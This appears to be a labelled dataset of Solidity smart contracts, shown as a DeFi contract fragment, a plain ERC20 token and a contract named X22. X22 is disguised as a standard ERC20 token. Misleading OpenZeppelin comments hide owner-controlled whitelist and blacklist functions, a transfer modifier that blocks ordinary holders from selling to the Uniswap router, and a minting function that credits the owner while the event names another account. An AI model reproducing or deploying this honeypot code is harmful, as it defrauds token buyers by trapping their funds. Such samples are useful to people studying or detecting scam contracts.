uint amount = IERC20(lp).balanceOf(address(this));
ensureApprove(lp, address(wgauge));
uint id = wgauge.mint(pid, gid, amount);
bank.putCollateral(address(wgauge), id, amount);
// 3. Refund crv
doRefund(crv);
}
}
|
True
|
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pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: Tokenart.sol
pragma solidity 0.8.0;
contract Tokenart is ERC20 ("Tokenart","OKNA") {
constructor(uint256 _supply) {
_mint(msg.sender, _supply);
}
}
|
True
|
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pragma solidity ^0.6.6;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract X22 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
